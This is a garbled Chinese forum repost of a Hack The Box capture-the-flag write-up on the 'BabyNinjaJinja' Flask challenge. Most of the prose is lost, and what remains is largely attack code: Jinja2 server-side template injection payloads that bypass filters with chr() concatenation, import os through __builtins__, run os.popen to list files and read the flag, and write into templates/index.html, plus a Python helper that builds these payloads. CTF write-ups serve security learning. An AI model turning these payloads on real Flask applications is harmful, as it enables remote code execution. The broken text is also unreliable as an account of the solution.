[15912] 2020-10-01_HacktheBox:BabyNinjaJinja解题经历

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-10-01_HacktheBox:BabyNinjaJinja解题经历 H a c k   t h e   B o x B a b y   N i n j a   J i n j a   F r e e B u f   2 0 2 0 - 1 0 - 0 1 0 x 0 0   h t b   0 x 0 1   访 便   f l a s k     d e b u g  
  h t m l 西   h t b   访 / d e b u g f l a s k   r i c k   0 x 0 2   / / d e b u g /   n a m e     s q l     { {   s s t i   q u e r y _ d b ( ' I N S E R T   I N T O   n i n j a s   ( n a m e )   V A L U E S   ( " % s " ) '   %   n a m e )
  n a m e = > = >   n a m e   = > = > r e n d e r _ t e m p l a t e _ s t r i n g   使   s s t i   j i n j a     { { } }   使 0 x 0 3     s s t i     { {   } }   使   { %   % }     { %   % }   使 使 0 x 0 4     f l a s k     f l a s k     s e s s i o n   l e a d e r     s s t i     s e s s i o n     p a y l o a d   b u i l t i n s i m p o r t   c h r   c h r   b u i l t i n s   U n d e f i n e d E r r o r :   c h r   i s   u n d e f i n e d   c h r     b u i l t i n s     c h r   使   s e s s i o n   s e s s i o n   f l a s k   f l a s k     s e s s i o n     s e t d e f a u l t   d b . t e x t _ f a c t o r y   =   ( l a m b d a   s :   s . r e p l a c e ( ' { { ' ,   ' ' ) . r e p l a c e ( " ' " ,   ' & # x 2 7 ; ' ) . r e p l a c e ( ' " ' ,   ' & q u o t ; ' ) . r e p l a c e ( ' < ' ,   ' & l t ; ' ) . r e p l a c e ( ' > ' ,   ' & g t ; ' ) ) i f   s e s s i o n . g e t ( ' l e a d e r ' ) : r e t u r n   r e p o r t { %   s e t   b u i l t i n = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] % } { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } d e f   g e t _ c h r ( s ) : r e s   =   [ ] f o r   i   i n   s : r e s . a p p e n d ( ' c h r ( { } ) ' . f o r m a t ( o r d ( i ) ) ) r e t u r n   " % 2 b " . j o i n ( r e s ) f ' { { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " f l a s k " ) } )   % } } '     #   便   p a y l o a d  
  s e s s i o n     r e s p o r t     s e s s i o n   ~   f l a s k     f l a s k     r e t u r n     r e t u r n     f l a s k     a b o r t     f l a s k . a b o r t     a b o r t ( R e s p o n s e ( H e l l o   W o r l d ) ) 使   f l a s k . R e s p o n s e     f l a s k     p o p e n   s e t     o s     l s   f ' { { %   s e t   a = f l a s k . s e s s i o n . s e t d e f a u l t ( { g e t _ c h r ( " l e a d e r " ) } ,   g e t c h r ( " t t t t " ) )   % } } ' f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( { g e t _ c h a r ( " t e s t " ) } ) )   % } } ' f ' { { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } )   % } } ' f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( { g e t _ c h r ( " l s " ) } ) . r e a d ( ) ) )   % } } '
  l s     p a y l o a d     p a y l o a d     f l a g ~ d e f   g e t _ c h r ( s ) : r e s   =   [ ] f o r   i   i n   s : r e s . a p p e n d ( ' c h r ( { } ) ' . f o r m a t ( o r d ( i ) ) ) r e t u r n   " % 2 b " . j o i n ( r e s ) d e f   g e t _ p a y l o a d ( ) : #   p a y l o a d   =   f ' { { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } } { { %   i f   ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } ) . o p e n ( { g e t _ c h r ( " t e m p l a t e s / i n d e x . h t m l " ) } ,   { g e t _ c h r ( " a + " ) } ) . w r i t e ( { g e t _ c h r ( " t t t t t t " ) } )   % } } 1 1 { { %   e n d i f   % } } ' d e f i n e _ c h r   =   f " { { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } } " d e f i n e _ f l a s k   =   f ' { { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " f l a s k " ) } )   % } } ' d e f i n e _ o s   =   f ' { { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } )   % } } ' p a y l o a d   =   f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( { g e t _ c h r ( " c a t   f l a g _ P 5 4 e d " ) } ) . r e a d ( ) ) )   % } } ' p a y l o a d   =   d e f i n e _ c h r   +   d e f i n e _ f l a s k   +   d e f i n e _ o s   +   p a y l o a d r e t u r n   p a y l o a d { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 9 ) % 2 b c h r ( 1 1 2 ) % 2 b c h r ( 1 1 1 ) % 2 b c h r ( 1 1 4 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] ( c h r ( 1 0 2 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 1 0 7 ) )   % } { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 9 ) % 2 b c h r ( 1 1 2 ) % 2 b c h r ( 1 1 1 ) % 2 b c h r ( 1 1 4 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] ( c h r ( 1 1 1 ) % 2 b c h r ( 1 1 5 ) )   % } { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( c h r ( 9 9 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 3 2 ) % 2 b c h r ( 1 0 2 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 0 3 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 8 0 ) % 2 b c h r ( 5 3 ) % 2 b c h r ( 5 2 ) % 2 b c h r ( 1 0 1 ) % 2 b c h r ( 1 0 0 ) ) . r e a d ( ) ) ) % }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则